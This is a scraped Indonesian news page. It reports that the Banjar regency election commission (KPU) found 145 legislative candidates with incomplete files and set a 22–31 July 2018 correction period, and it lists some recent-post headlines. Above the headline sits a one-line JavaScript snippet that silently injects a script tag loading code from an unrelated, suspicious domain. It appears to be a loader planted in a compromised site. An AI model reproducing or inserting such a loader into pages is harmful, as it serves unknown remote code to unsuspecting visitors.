(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

145 Caleg di Kabupaten Banjar Masih Perlu Perbaikan Berkas


MARTAPURA, Setelah sebelumnya melakukan proses pemeriksaan verifikasi kelengkapan adminsitrasi berkas, KPU Banjar menyerahkan hasilnya ke perwakilan parpol, Sabtu (21/7) malam. Dari hasil penelitian kelengkapan berkas, sebanyak 145 orang bacaleg yang masih bermasalah dalam hal administrasinya.

Berdasarkan pantauan Kanalkalimantan.com, nampak hadir perwakilan 16 parpol yang sebelumnya mendaftarkan calegnya di kantor KPU Kabupaten Banjar, Jalan A Yani Kompleks Pangeran Antasari, Martapura. Mereka datang dari pukul 20.30-22.00 Wita.

Menurut Divisi Teknis Pencalonan KPU Kabupaten Banjar M Zain, terhitung dari tanggal 22 sampai 31 Juli 2018 merupakan masa perbaikan berkas. Hal ini sebagaimana peraturan Komisi Pemilihan Umum Republik Indonesia No 20 tahun 2018 adalah masa perbaikan daftar calon dan syarat calon serta pengajuan bakal calon pengganti anggota DPR, DPRD Provinsi dan DPRD Kabupaten/Kota.

“Pengajuan bakal calon oleh Partai Politik hanya dilakukan 1 (satu) kali pada masa pengajuan sebagaimana dimaksud, jadi diharapkan untuk benar-benar melengkapi pengajukan persyaratan tersebut,” jelasnya.

Tambahnya Zain, dalam tahapan tersebut jangan sampai ada parpol yang mengganti bacalegnya sebelum tahap Daftar Calon Sementara (DCS) mengingat belum saatnya untuk melakukan pergantian, jadi diharapkan pada masa hingga tanggal 31 Juli nanti hanya diperkenankan untuk melengkapi berkas saja.

“Pergantian bacaleg yang paling mungkin adalah pada masa DCS, dengan tiga persyaratan seperti tanggapan masyarakat tentang kelengkapan berkas pemalsuan dokumen yang sudah berketetapan hukum, meninggal dunia dan mengundurkan diri,” jelasnya.

Sementara itu Ketua KPU Banjar Muhaimin S.Ag, saat ditanya umumnya kekurangan syarat yang harus dilengkapi, mengatakan sebagian besar terkait masalah administrasi.

“Setiap partai mempunyai catatan masing-masing, yang harus mereka lengkapi dalam waktu 10 hari mendatang,  yang paling banyak dari sisi administrasi seperti SKCK yang belum ada, ijazah yang belum dilegalisir,” ujarnya.

Ditanya berapa persen bacaleg yang sudah lengkap pemberkasannya dan berapa persen bacaleg yang harus diperbaiki kelengkapan adminsitrasi, Muhaimin ada sekitar 75% bacaleg yang sudah lengkap administrasinya. “Sisanya untuk 25% lagi diharapkan dapat melengkapinya sebelum tanggal pengajuan perbaikan yang sudah ditetapkan,” tambahnya.


Page: 1 2

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.